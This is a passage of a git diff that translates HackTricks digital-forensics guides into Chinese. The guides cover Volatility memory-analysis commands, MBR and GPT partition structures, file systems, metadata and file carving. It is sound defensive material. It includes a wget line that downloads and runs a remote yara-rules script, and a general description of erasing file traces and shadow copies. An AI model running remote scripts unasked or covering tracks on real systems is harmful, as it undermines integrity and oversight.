linux.check_modules.Check_modules #Compares module list to sysfs info, if available ./vol.py -f file.dmp linux.tty_check.tty_check #Checks tty devices for hooks ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 -f file.dmp malfind [-D /tmp] #Find hidden and injected code [dump each suspicious section] volatility --profile=Win7SP1x86_23418 -f file.dmp apihooks #Detect API hooks in process and kernel memory @@ -718,18 +592,16 @@ volatility --profile=SomeLinux -f file.dmp linux_check_modules volatility --profile=SomeLinux -f file.dmp linux_check_tty volatility --profile=SomeLinux -f file.dmp linux_keyboard_notifiers #Keyloggers ``` - {{#endtab}} {{#endtabs}} -### Scanning with yara +### 使用 yara 扫描 -Use this script to download and merge all the yara malware rules from github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ -Create the _**rules**_ directory and execute it. This will create a file called _**malware_rules.yar**_ which contains all the yara rules for malware. +使用此脚本从 github 下载并合并所有 yara 恶意软件规则: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ +创建 _**rules**_ 目录并执行它。这将创建一个名为 _**malware_rules.yar**_ 的文件,其中包含所有恶意软件的 yara 规则。 {{#tabs}} {{#tab name="vol3"}} - ```bash wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py mkdir rules @@ -739,193 +611,154 @@ python malware_yara_rules.py #All ./vol.py -f file.dmp yarascan.YaraScan --yara-file /tmp/malware_rules.yar ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py mkdir rules python malware_yara_rules.py volatility --profile=Win7SP1x86_23418 yarascan -y malware_rules.yar -f ch2.dmp | grep "Rule:" | grep -v "Str_Win32" | sort | uniq ``` - {{#endtab}} {{#endtabs}} -## MISC +## 杂项 -### External plugins +### 外部插件 -If you want to use external plugins make sure that the folders related to the plugins are the first parameter used. +如果您想使用外部插件,请确保与插件相关的文件夹是第一个使用的参数。 {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py --plugin-dirs "/tmp/plugins/" [...] ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash - volatilitye --plugins="/tmp/plugins/" [...] +volatilitye --plugins="/tmp/plugins/" [...] ``` - {{#endtab}} {{#endtabs}} #### Autoruns -Download it from [https://github.com/tomchop/volatility-autoruns](https://github.com/tomchop/volatility-autoruns) - +从 [https://github.com/tomchop/volatility-autoruns](https://github.com/tomchop/volatility-autoruns) 下载 ``` - volatility --plugins=volatility-autoruns/ --profile=WinXPSP2x86 -f file.dmp autoruns +volatility --plugins=volatility-autoruns/ --profile=WinXPSP2x86 -f file.dmp autoruns ``` - -### Mutexes +### 互斥锁 {{#tabs}} {{#tab name="vol3"}} - ``` ./vol.py -f file.dmp windows.mutantscan.MutantScan ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 mutantscan -f file.dmp volatility --profile=Win7SP1x86_23418 -f file.dmp handles -p -t mutant ``` - {{#endtab}} {{#endtabs}} -### Symlinks +### 符号链接 {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.symlinkscan.SymlinkScan ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 -f file.dmp symlinkscan ``` - {{#endtab}} {{#endtabs}} ### Bash -It's possible to **read from memory the bash history.** You could also dump the _.bash_history_ file, but it was disabled you will be glad you can use this volatility module +可以**从内存中读取 bash 历史记录。** 你也可以转储 _.bash_history_ 文件,但它已被禁用,你会很高兴可以使用这个 volatility 模块。 {{#tabs}} {{#tab name="vol3"}} - ``` ./vol.py -f file.dmp linux.bash.Bash ``` - {{#endtab}} {{#tab name="vol2"}} - ``` volatility --profile=Win7SP1x86_23418 -f file.dmp linux_bash ``` - {{#endtab}} {{#endtabs}} -### TimeLine +### 时间线 {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp timeLiner.TimeLiner ``` - {{#endtab}} {{#tab name="vol2"}} - ``` volatility --profile=Win7SP1x86_23418 -f timeliner ``` - {{#endtab}} {{#endtabs}} -### Drivers +### 驱动程序 {{#tabs}} {{#tab name="vol3"}} - ``` ./vol.py -f file.dmp windows.driverscan.DriverScan ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 -f file.dmp driverscan ``` - {{#endtab}} {{#endtabs}} -### Get clipboard - +### 获取剪贴板 ```bash #Just vol2 volatility --profile=Win7SP1x86_23418 clipboard -f file.dmp ``` - -### Get IE history - +### 获取IE历史记录 ```bash #Just vol2 volatility --profile=Win7SP1x86_23418 iehistory -f file.dmp ``` - -### Get notepad text - +### 获取记事本文本 ```bash #Just vol2 volatility --profile=Win7SP1x86_23418 notepad -f file.dmp ``` - -### Screenshot - +### 截图 ```bash #Just vol2 volatility --profile=Win7SP1x86_23418 screenshot -f file.dmp ``` - -### Master Boot Record (MBR) - +### 主引导记录 (MBR) ```bash volatility --profile=Win7SP1x86_23418 mbrparser -f file.dmp ``` +**主引导记录 (MBR)** 在管理存储介质的逻辑分区中发挥着至关重要的作用,这些分区采用不同的 [文件系统](https://en.wikipedia.org/wiki/File_system) 进行结构化。它不仅包含分区布局信息,还包含作为引导加载程序的可执行代码。该引导加载程序要么直接启动操作系统的二阶段加载过程(参见 [二阶段引导加载程序](https://en.wikipedia.org/wiki/Second-stage_boot_loader)),要么与每个分区的 [卷引导记录](https://en.wikipedia.org/wiki/Volume_boot_record) (VBR) 协同工作。有关深入知识,请参阅 [MBR 维基百科页面](https://en.wikipedia.org/wiki/Master_boot_record)。 -The **Master Boot Record (MBR)** plays a crucial role in managing the logical partitions of a storage medium, which are structured with different [file systems](https://en.wikipedia.org/wiki/File_system). It not only holds partition layout information but also contains executable code acting as a boot loader. This boot loader either directly initiates the OS's second-stage loading process (see [second-stage boot loader](https://en.wikipedia.org/wiki/Second-stage_boot_loader)) or works in harmony with the [volume boot record](https://en.wikipedia.org/wiki/Volume_boot_record) (VBR) of each partition. For in-depth knowledge, refer to the [MBR Wikipedia page](https://en.wikipedia.org/wiki/Master_boot_record). - -## References +## 参考文献 - [https://andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/](https://andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/) - [https://scudette.blogspot.com/2012/11/finding-kernel-debugger-block.html](https://scudette.blogspot.com/2012/11/finding-kernel-debugger-block.html) @@ -933,10 +766,4 @@ The **Master Boot Record (MBR)** plays a crucial role in managing the logical pa - [https://www.aldeid.com/wiki/Windows-userassist-keys](https://www.aldeid.com/wiki/Windows-userassist-keys) ​\* [https://learn.microsoft.com/en-us/windows/win32/fileio/master-file-table](https://learn.microsoft.com/en-us/windows/win32/fileio/master-file-table) - [https://answers.microsoft.com/en-us/windows/forum/all/uefi-based-pc-protective-mbr-what-is-it/0fc7b558-d8d4-4a7d-bae2-395455bb19aa](https://answers.microsoft.com/en-us/windows/forum/all/uefi-based-pc-protective-mbr-what-is-it/0fc7b558-d8d4-4a7d-bae2-395455bb19aa) -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md index 9ac27c92e..db4c42862 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md @@ -1,147 +1,145 @@ -# Partitions/File Systems/Carving +# 分区/文件系统/雕刻 {{#include ../../../banners/hacktricks-training.md}} -## Partitions +## 分区 -A hard drive or an **SSD disk can contain different partitions** with the goal of separating data physically.\ -The **minimum** unit of a disk is the **sector** (normally composed of 512B). So, each partition size needs to be multiple of that size. +硬盘或**SSD磁盘可以包含不同的分区**,目的是物理上分隔数据。\ +磁盘的**最小**单位是**扇区**(通常由512B组成)。因此,每个分区的大小需要是该大小的倍数。 -### MBR (master Boot Record) +### MBR(主引导记录) -It's allocated in the **first sector of the disk after the 446B of the boot code**. This sector is essential to indicate to the PC what and from where a partition should be mounted.\ -It allows up to **4 partitions** (at most **just 1** can be active/**bootable**). However, if you need more partitions you can use **extended partitions**. The **final byte** of this first sector is the boot record signature **0x55AA**. Only one partition can be marked as active.\ -MBR allows **max 2.2TB**. +它分配在**引导代码后的第一个扇区的446B**。这个扇区对于指示PC应该从哪里挂载分区至关重要。\ +它最多允许**4个分区**(最多**只有1个**可以是活动的/**可引导**)。但是,如果需要更多分区,可以使用**扩展分区**。这个第一个扇区的**最后一个字节**是引导记录签名**0x55AA**。只能标记一个分区为活动。\ +MBR允许**最大2.2TB**。 ![](<../../../images/image (350).png>) ![](<../../../images/image (304).png>) -From the **bytes 440 to the 443** of the MBR you can find the **Windows Disk Signature** (if Windows is used). The logical drive letter of the hard disk depends on the Windows Disk Signature. Changing this signature could prevent Windows from booting (tool: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**. +从MBR的**440到443字节**可以找到**Windows磁盘签名**(如果使用Windows)。硬盘的逻辑驱动器字母取决于Windows磁盘签名。更改此签名可能会导致Windows无法启动(工具:[**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**。 ![](<../../../images/image (310).png>) -**Format** +**格式** -| Offset | Length | Item | +| 偏移 | 长度 | 项目 | | ----------- | ---------- | ------------------- | -| 0 (0x00) | 446(0x1BE) | Boot code | -| 446 (0x1BE) | 16 (0x10) | First Partition | -| 462 (0x1CE) | 16 (0x10) | Second Partition | -| 478 (0x1DE) | 16 (0x10) | Third Partition | -| 494 (0x1EE) | 16 (0x10) | Fourth Partition | -| 510 (0x1FE) | 2 (0x2) | Signature 0x55 0xAA | +| 0 (0x00) | 446(0x1BE) | 引导代码 | +| 446 (0x1BE) | 16 (0x10) | 第一个分区 | +| 462 (0x1CE) | 16 (0x10) | 第二个分区 | +| 478 (0x1DE) | 16 (0x10) | 第三个分区 | +| 494 (0x1EE) | 16 (0x10) | 第四个分区 | +| 510 (0x1FE) | 2 (0x2) | 签名 0x55 0xAA | -**Partition Record Format** +**分区记录格式** -| Offset | Length | Item | +| 偏移 | 长度 | 项目 | | --------- | -------- | ------------------------------------------------------ | -| 0 (0x00) | 1 (0x01) | Active flag (0x80 = bootable) | -| 1 (0x01) | 1 (0x01) | Start head | -| 2 (0x02) | 1 (0x01) | Start sector (bits 0-5); upper bits of cylinder (6- 7) | -| 3 (0x03) | 1 (0x01) | Start cylinder lowest 8 bits | -| 4 (0x04) | 1 (0x01) | Partition type code (0x83 = Linux) | -| 5 (0x05) | 1 (0x01) | End head | -| 6 (0x06) | 1 (0x01) | End sector (bits 0-5); upper bits of cylinder (6- 7) | -| 7 (0x07) | 1 (0x01) | End cylinder lowest 8 bits | -| 8 (0x08) | 4 (0x04) | Sectors preceding partition (little endian) | -| 12 (0x0C) | 4 (0x04) | Sectors in partition | +| 0 (0x00) | 1 (0x01) | 活动标志 (0x80 = 可引导) | +| 1 (0x01) | 1 (0x01) | 起始磁头 | +| 2 (0x02) | 1 (0x01) | 起始扇区(位0-5);气缸的高位(6-7) | +| 3 (0x03) | 1 (0x01) | 起始气缸最低8位 | +| 4 (0x04) | 1 (0x01) | 分区类型代码(0x83 = Linux) | +| 5 (0x05) | 1 (0x01) | 结束磁头 | +| 6 (0x06) | 1 (0x01) | 结束扇区(位0-5);气缸的高位(6-7) | +| 7 (0x07) | 1 (0x01) | 结束气缸最低8位 | +| 8 (0x08) | 4 (0x04) | 分区前的扇区(小端) | +| 12 (0x0C) | 4 (0x04) | 分区中的扇区 | -In order to mount an MBR in Linux you first need to get the start offset (you can use `fdisk` and the `p` command) +为了在Linux中挂载MBR,您首先需要获取起始偏移量(可以使用`fdisk`和`p`命令) ![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) -And then use the following code - +然后使用以下代码 ```bash #Mount MBR in Linux mount -o ro,loop,offset= #63x512 = 32256Bytes mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/ ``` +**LBA (逻辑块寻址)** -**LBA (Logical block addressing)** +**逻辑块寻址** (**LBA**) 是一种常用的方案,用于**指定存储在计算机存储设备上的数据块的位置**,通常是硬盘驱动器等二级存储系统。LBA 是一种特别简单的线性寻址方案;**块通过整数索引定位**,第一个块为 LBA 0,第二个为 LBA 1,依此类推。 -**Logical block addressing** (**LBA**) is a common scheme used for **specifying the location of blocks** of data stored on computer storage devices, generally secondary storage systems such as hard disk drives. LBA is a particularly simple linear addressing scheme; **blocks are located by an integer index**, with the first block being LBA 0, the second LBA 1, and so on. +### GPT (GUID 分区表) -### GPT (GUID Partition Table) +GUID 分区表,称为 GPT,因其相较于 MBR(主引导记录)的增强能力而受到青睐。GPT 以其**全局唯一标识符**为分区而独树一帜,具体体现在以下几个方面: -The GUID Partition Table, known as GPT, is favored for its enhanced capabilities compared to MBR (Master Boot Record). Distinctive for its **globally unique identifier** for partitions, GPT stands out in several ways: +- **位置和大小**:GPT 和 MBR 都从**扇区 0** 开始。然而,GPT 采用**64位**,而 MBR 则是 32位。 +- **分区限制**:GPT 在 Windows 系统上支持最多**128个分区**,并可容纳高达**9.4ZB**的数据。 +- **分区名称**:允许使用最多 36 个 Unicode 字符命名分区。 -- **Location and Size**: Both GPT and MBR start at **sector 0**. However, GPT operates on **64bits**, contrasting with MBR's 32bits. -- **Partition Limits**: GPT supports up to **128 partitions** on Windows systems and accommodates up to **9.4ZB** of data. -- **Partition Names**: Offers the ability to name partitions with up to 36 Unicode characters. +**数据弹性和恢复**: -**Data Resilience and Recovery**: +- **冗余**:与 MBR 不同,GPT 不将分区和引导数据限制在一个地方。它在磁盘上复制这些数据,从而增强数据完整性和弹性。 +- **循环冗余检查 (CRC)**:GPT 使用 CRC 确保数据完整性。它主动监控数据损坏,并在检测到时,尝试从另一个磁盘位置恢复损坏的数据。 -- **Redundancy**: Unlike MBR, GPT doesn't confine partitioning and boot data to a single place. It replicates this data across the disk, enhancing data integrity and resilience. -- **Cyclic Redundancy Check (CRC)**: GPT employs CRC to ensure data integrity. It actively monitors for data corruption, and when detected, GPT attempts to recover the corrupted data from another disk location. +**保护性 MBR (LBA0)**: -**Protective MBR (LBA0)**: - -- GPT maintains backward compatibility through a protective MBR. This feature resides in the legacy MBR space but is designed to prevent older MBR-based utilities from mistakenly overwriting GPT disks, hence safeguarding the data integrity on GPT-formatted disks. +- GPT 通过保护性 MBR 维持向后兼容性。此功能位于传统 MBR 空间内,但旨在防止较旧的基于 MBR 的工具错误地覆盖 GPT 磁盘,从而保护 GPT 格式磁盘上的数据完整性。 ![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID_Partition_Table_Scheme.svg/800px-GUID_Partition_Table_Scheme.svg.png](<../../../images/image (1062).png>) -**Hybrid MBR (LBA 0 + GPT)** +**混合 MBR (LBA 0 + GPT)** -[From Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table) +[来自维基百科](https://en.wikipedia.org/wiki/GUID_Partition_Table) -In operating systems that support **GPT-based boot through BIOS** services rather than EFI, the first sector may also still be used to store the first stage of the **bootloader** code, but **modified** to recognize **GPT** **partitions**. The bootloader in the MBR must not assume a sector size of 512 bytes. +在支持**通过 BIOS** 服务而非 EFI 的**基于 GPT 的引导**的操作系统中,第一个扇区仍然可以用于存储**引导加载程序**代码的第一阶段,但**经过修改**以识别**GPT** **分区**。MBR 中的引导加载程序不得假设扇区大小为 512 字节。 -**Partition table header (LBA 1)** +**分区表头 (LBA 1)** -[From Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table) +[来自维基百科](https://en.wikipedia.org/wiki/GUID_Partition_Table) -The partition table header defines the usable blocks on the disk. It also defines the number and size of the partition entries that make up the partition table (offsets 80 and 84 in the table). +分区表头定义了磁盘上可用的块。它还定义了构成分区表的分区条目的数量和大小(表中的偏移量 80 和 84)。 -| Offset | Length | Contents | +| 偏移量 | 长度 | 内容 | | --------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| 0 (0x00) | 8 bytes | Signature ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h or 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)on little-endian machines) | -| 8 (0x08) | 4 bytes | Revision 1.0 (00h 00h 01h 00h) for UEFI 2.8 | -| 12 (0x0C) | 4 bytes | Header size in little endian (in bytes, usually 5Ch 00h 00h 00h or 92 bytes) | -| 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) of header (offset +0 up to header size) in little endian, with this field zeroed during calculation | -| 20 (0x14) | 4 bytes | Reserved; must be zero | -| 24 (0x18) | 8 bytes | Current LBA (location of this header copy) | -| 32 (0x20) | 8 bytes | Backup LBA (location of the other header copy) | -| 40 (0x28) | 8 bytes | First usable LBA for partitions (primary partition table last LBA + 1) | -| 48 (0x30) | 8 bytes | Last usable LBA (secondary partition table first LBA − 1) | -| 56 (0x38) | 16 bytes | Disk GUID in mixed endian | -| 72 (0x48) | 8 bytes | Starting LBA of an array of partition entries (always 2 in primary copy) | -| 80 (0x50) | 4 bytes | Number of partition entries in array | -| 84 (0x54) | 4 bytes | Size of a single partition entry (usually 80h or 128) | -| 88 (0x58) | 4 bytes | CRC32 of partition entries array in little endian | -| 92 (0x5C) | \* | Reserved; must be zeroes for the rest of the block (420 bytes for a sector size of 512 bytes; but can be more with larger sector sizes) | +| 0 (0x00) | 8 字节 | 签名 ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h 或 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8) 在小端机器上) | +| 8 (0x08) | 4 字节 | 版本 1.0 (00h 00h 01h 00h) 适用于 UEFI 2.8 | +| 12 (0x0C) | 4 字节 | 小端的头部大小(以字节为单位,通常为 5Ch 00h 00h 00h 或 92 字节) | +| 16 (0x10) | 4 字节 | [CRC32](https://en.wikipedia.org/wiki/CRC32) 的头部(偏移量 +0 到头部大小)的小端,计算时此字段置为零 | +| 20 (0x14) | 4 字节 | 保留;必须为零 | +| 24 (0x18) | 8 字节 | 当前 LBA(此头部副本的位置) | +| 32 (0x20) | 8 字节 | 备份 LBA(另一个头部副本的位置) | +| 40 (0x28) | 8 字节 | 分区的第一个可用 LBA(主分区表最后 LBA + 1) | +| 48 (0x30) | 8 字节 | 最后可用 LBA(辅助分区表第一个 LBA − 1) | +| 56 (0x38) | 16 字节 | 磁盘 GUID 的混合字节序 | +| 72 (0x48) | 8 字节 | 分区条目数组的起始 LBA(主副本中始终为 2) | +| 80 (0x50) | 4 字节 | 数组中分区条目的数量 | +| 84 (0x54) | 4 字节 | 单个分区条目的大小(通常为 80h 或 128) | +| 88 (0x58) | 4 字节 | 分区条目数组的 CRC32 小端 | +| 92 (0x5C) | \* | 保留;对于块的其余部分必须为零(对于 512 字节的扇区大小为 420 字节;但对于更大的扇区大小可以更多) | -**Partition entries (LBA 2–33)** +**分区条目 (LBA 2–33)** -| GUID partition entry format | | | +| GUID 分区条目格式 | | | | --------------------------- | -------- | ------------------------------------------------------------------------------------------------------------- | -| Offset | Length | Contents | -| 0 (0x00) | 16 bytes | [Partition type GUID](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (mixed endian) | -| 16 (0x10) | 16 bytes | Unique partition GUID (mixed endian) | -| 32 (0x20) | 8 bytes | First LBA ([little endian](https://en.wikipedia.org/wiki/Little_endian)) | -| 40 (0x28) | 8 bytes | Last LBA (inclusive, usually odd) | -| 48 (0x30) | 8 bytes | Attribute flags (e.g. bit 60 denotes read-only) | -| 56 (0x38) | 72 bytes | Partition name (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE code units) | +| 偏移量 | 长度 | 内容 | +| 0 (0x00) | 16 字节 | [分区类型 GUID](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs)(混合字节序) | +| 16 (0x10) | 16 字节 | 唯一分区 GUID(混合字节序) | +| 32 (0x20) | 8 字节 | 第一个 LBA ([小端](https://en.wikipedia.org/wiki/Little_endian)) | +| 40 (0x28) | 8 字节 | 最后 LBA(包含,通常为奇数) | +| 48 (0x30) | 8 字节 | 属性标志(例如,位 60 表示只读) | +| 56 (0x38) | 72 字节 | 分区名称(36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE 代码单元) | -**Partitions Types** +**分区类型** ![](<../../../images/image (83).png>) -More partition types in [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table) +更多分区类型请见 [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table) -### Inspecting +### 检查 -After mounting the forensics image with [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), you can inspect the first sector using the Windows tool [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** In the following image an **MBR** was detected on the **sector 0** and interpreted: +在使用 [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/) 挂载取证镜像后,可以使用 Windows 工具 [**Active Disk Editor**](https://www.disk-editor.org/index.html)** 检查第一个扇区**。在下图中,**扇区 0** 检测到一个 **MBR** 并被解释: ![](<../../../images/image (354).png>) -If it was a **GPT table instead of an MBR** it should appear the signature _EFI PART_ in the **sector 1** (which in the previous image is empty). +如果是 **GPT 表而不是 MBR**,则应在 **扇区 1** 中出现签名 _EFI PART_(在前面的图像中是空的)。 -## File-Systems +## 文件系统 -### Windows file-systems list +### Windows 文件系统列表 - **FAT12/16**: MSDOS, WIN95/98/NT/200 - **FAT32**: 95/2000/XP/2003/VISTA/7/8/10 @@ -151,86 +149,86 @@ If it was a **GPT table instead of an MBR** it should appear the signature _EFI ### FAT -The **FAT (File Allocation Table)** file system is designed around its core component, the file allocation table, positioned at the volume's start. This system safeguards data by maintaining **two copies** of the table, ensuring data integrity even if one is corrupted. The table, along with the root folder, must be in a **fixed location**, crucial for the system's startup process. +**FAT (文件分配表)** 文件系统围绕其核心组件——文件分配表设计,该表位于卷的开始。该系统通过维护**两个副本**的表来保护数据,确保即使一个损坏也能保持数据完整性。该表及根文件夹必须位于**固定位置**,这对系统的启动过程至关重要。 -The file system's basic unit of storage is a **cluster, usually 512B**, comprising multiple sectors. FAT has evolved through versions: +文件系统的基本存储单位是**簇,通常为 512B**,由多个扇区组成。FAT 经过多个版本的演变: -- **FAT12**, supporting 12-bit cluster addresses and handling up to 4078 clusters (4084 with UNIX). -- **FAT16**, enhancing to 16-bit addresses, thereby accommodating up to 65,517 clusters. -- **FAT32**, further advancing with 32-bit addresses, allowing an impressive 268,435,456 clusters per volume. +- **FAT12**,支持 12 位簇地址,处理最多 4078 个簇(与 UNIX 一起为 4084)。 +- **FAT16**,增强为 16 位地址,从而容纳最多 65,517 个簇。 +- **FAT32**,进一步发展为 32 位地址,允许每个卷高达 268,435,456 个簇。 -A significant limitation across FAT versions is the **4GB maximum file size**, imposed by the 32-bit field used for file size storage. +所有 FAT 版本的一个显著限制是**最大文件大小为 4GB**,这是由于用于存储文件大小的 32 位字段所致。 -Key components of the root directory, particularly for FAT12 and FAT16, include: +根目录的关键组件,特别是对于 FAT12 和 FAT16,包括: -- **File/Folder Name** (up to 8 characters) -- **Attributes** -- **Creation, Modification, and Last Access Dates** -- **FAT Table Address** (indicating the start cluster of the file) -- **File Size** +- **文件/文件夹名称**(最多 8 个字符) +- **属性** +- **创建、修改和最后访问日期** +- **FAT 表地址**(指示文件的起始簇) +- **文件大小** ### EXT -**Ext2** is the most common file system for **not journaling** partitions (**partitions that don't change much**) like the boot partition. **Ext3/4** are **journaling** and are used usually for the **rest partitions**. +**Ext2** 是最常见的**非日志**分区(**不经常更改的分区**)的文件系统,如引导分区。**Ext3/4** 是**日志**文件系统,通常用于**其余分区**。 -## **Metadata** +## **元数据** -Some files contain metadata. This information is about the content of the file which sometimes might be interesting to an analyst as depending on the file type, it might have information like: +某些文件包含元数据。这些信息是关于文件内容的,有时对分析师可能很有趣,因为根据文件类型,它可能包含如下信息: -- Title -- MS Office Version used -- Author -- Dates of creation and last modification -- Model of the camera -- GPS coordinates -- Image information +- 标题 +- 使用的 MS Office 版本 +- 作者 +- 创建和最后修改日期 +- 相机型号 +- GPS 坐标 +- 图像信息 -You can use tools like [**exiftool**](https://exiftool.org) and [**Metadiver**](https://www.easymetadata.com/metadiver-2/) to get the metadata of a file. +您可以使用 [**exiftool**](https://exiftool.org) 和 [**Metadiver**](https://www.easymetadata.com/metadiver-2/) 等工具获取文件的元数据。 -## **Deleted Files Recovery** +## **已删除文件恢复** -### Logged Deleted Files +### 记录的已删除文件 -As was seen before there are several places where the file is still saved after it was "deleted". This is because usually the deletion of a file from a file system just marks it as deleted but the data isn't touched. Then, it's possible to inspect the registries of the files (like the MFT) and find the deleted files. +如前所述,有几个地方在文件被“删除”后仍然保存该文件。这是因为通常从文件系统中删除文件只是将其标记为已删除,但数据并未被触及。因此,可以检查文件的注册表(如 MFT)并找到已删除的文件。 -Also, the OS usually saves a lot of information about file system changes and backups, so it's possible to try to use them to recover the file or as much information as possible. +此外,操作系统通常会保存大量关于文件系统更改和备份的信息,因此可以尝试使用它们来恢复文件或尽可能多的信息。 {{#ref}} file-data-carving-recovery-tools.md {{#endref}} -### **File Carving** +### **文件雕刻** -**File carving** is a technique that tries to **find files in the bulk of data**. There are 3 main ways tools like this work: **Based on file types headers and footers**, based on file types **structures** and based on the **content** itself. +**文件雕刻**是一种尝试在**大量数据中查找文件**的技术。此类工具的工作方式主要有三种:**基于文件类型的头部和尾部**、基于文件类型的**结构**以及基于**内容**本身。 -Note that this technique **doesn't work to retrieve fragmented files**. If a file **isn't stored in contiguous sectors**, then this technique won't be able to find it or at least part of it. +请注意,这种技术**无法检索碎片化的文件**。如果文件**未存储在连续的扇区中**,则此技术将无法找到它,或至少无法找到其部分。 -There are several tools that you can use for file Carving indicating the file types you want to search for +您可以使用多种工具进行文件雕刻,指明您要搜索的文件类型。 {{#ref}} file-data-carving-recovery-tools.md {{#endref}} -### Data Stream **C**arving +### 数据流 **C**arving -Data Stream Carving is similar to File Carving but **instead of looking for complete files, it looks for interesting fragments** of information.\ -For example, instead of looking for a complete file containing logged URLs, this technique will search for URLs. +数据流雕刻类似于文件雕刻,但**不是查找完整文件,而是查找有趣的信息片段**。\ +例如,代替查找包含记录的 URL 的完整文件,此技术将搜索 URL。 {{#ref}} file-data-carving-recovery-tools.md {{#endref}} -### Secure Deletion +### 安全删除 -Obviously, there are ways to **"securely" delete files and part of logs about them**. For example, it's possible to **overwrite the content** of a file with junk data several times, and then **remove** the **logs** from the **$MFT** and **$LOGFILE** about the file, and **remove the Volume Shadow Copies**.\ -You may notice that even performing that action there might be **other parts where the existence of the file is still logged**, and that's true and part of the forensics professional job is to find them. +显然,有方法可以**“安全”删除文件及其部分日志**。例如,可以**多次用垃圾数据覆盖**文件的内容,然后**删除**关于该文件的**$MFT** 和 **$LOGFILE** 中的**日志**,并**删除卷影副本**。\ +您可能会注意到,即使执行该操作,仍可能有**其他部分记录了文件的存在**,这确实是事实,取证专业人员的工作之一就是找到它们。 -## References +## 参考文献 - [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table) - [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm) - [https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html](https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html) - [https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service](https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service) -- **iHackLabs Certified Digital Forensics Windows** +- **iHackLabs 认证数字取证 Windows** {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md index 1920c497a..2b9115a6c 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md @@ -1,95 +1,87 @@ -# File/Data Carving & Recovery Tools +# 文件/数据雕刻与恢复工具 {{#include ../../../banners/hacktricks-training.md}} -## Carving & Recovery tools +## 雕刻与恢复工具 -More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) +更多工具在 [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) ### Autopsy -The most common tool used in forensics to extract files from images is 